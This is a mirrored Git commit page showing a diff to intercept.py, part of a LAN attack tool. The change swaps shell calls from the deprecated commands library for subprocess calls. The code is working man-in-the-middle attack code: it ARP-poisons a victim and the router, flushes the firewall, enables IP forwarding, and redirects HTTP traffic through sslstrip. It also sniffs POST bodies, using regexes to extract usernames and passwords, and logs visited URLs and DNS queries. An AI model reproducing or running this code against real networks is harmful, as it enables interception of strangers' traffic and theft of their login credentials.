github/LANs.py
1
0
Fork 0
mirror of https://github.com/DanMcInerney/LANs.py.git synced 2025-07-07 13:32:14 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

got rid of deprecated commands library

Browse source
This commit is contained in:
DanMcInerney 2013-06-29 16:35:15 -06:00
parent 307d4d5d5b
commit 88843dd14a
1 changed files with 23 additions and 30 deletions
Download patch file Download diff file Expand all files Collapse all files

53
intercept.py
View file

@ -14,8 +14,6 @@ import sys
import os
import signal
from subprocess import *
import commands
bash=commands.getoutput
#Check if root
if not os.geteuid()==0:
@ -114,7 +112,7 @@ def originalMAC(ip):
for s,r in ans:
return r.sprintf("%Ether.src%")
def poisonrouterIP, victimIP):
def poison(routerIP, victimIP):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
@ -148,6 +146,7 @@ def URL(pkt):
post = l.split(' ')
post = post[1]
#If a packet with data is retrasmitted amongst multiple packets this will catch all the split up parts that are lacking in features of a normal packet
if args.post and len(pkt) < 450:
if body != '':
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
@ -183,12 +182,6 @@ def URL(pkt):
if url == None:
return
#The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim)
#and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load
#gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason.
#http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/
if args.post and post:
if body != '':
print T+'[+] POST:',url,'HTTP POST load:',body+W
@ -227,13 +220,6 @@ def URL(pkt):
post = None
url = None
#def search(url):
# searched = re.search('((search|query|search\?q|\?s|&q)=([^&][^&]*))', url)
# if searched:
# searched = searched.group(3)
# searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=')
# print B + '[+] Searched %s for:' % c[1],searched + W
def DNSreq(pkt):
if pkt.haslayer(DNSQR):
dnsreq = pkt[DNSQR].qname
@ -270,12 +256,15 @@ class dnsspoof(threading.Thread):
class sslstrip(threading.Thread):
def run(self):
print 'Redirecting traffic to port 10000 and starting sslstrip\n'
ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
iptables = ['iptables', '-t', 'nat', '-A', 'PREROUTING', '-p', 'tcp', '--destination-port', '80', '-j', 'REDIRECT', '--to-port', '10000']
Popen(iptables, stdout=PIPE, stderr=DN)
xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt']
Popen(xterm, stdout=PIPE, stderr=DN)
class driftnet(threading.Thread):
def run(self):
driftnet = bash('xterm -e driftnet -i %s' % interface)
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
Popen(xterm, stdout=PIPE, stderr=DN)
try:
routerMAC = originalMAC(routerIP)
@ -286,12 +275,14 @@ except:
sys.exit("Could not get MAC addresses")
#Forward packets and flush iptables
ipforward = bash('echo 1 > /proc/sys/net/ipv4/ip_forward')
ipF = bash('iptables -F')
ipNATF = bash('iptables -t nat F')
ipX = bash('iptables -X')
ipNATX = bash('iptables -t nat -X')
print 'Enabled IP forwarding and flushed the firewall\n'
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('1')
f.close()
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
print '[+] Enabled IP forwarding and flushed the firewall\n'
def main():
@ -325,15 +316,17 @@ def main():
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
restore(routerIP, victimIP, routerMAC, victimMAC)
restore(routerIP, victimIP, routerMAC, victimMAC)
bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
bash('iptables -t nat -F')
bash('iptables -F')
bash('iptables -X')
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('0')
f.close()
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, victimIP)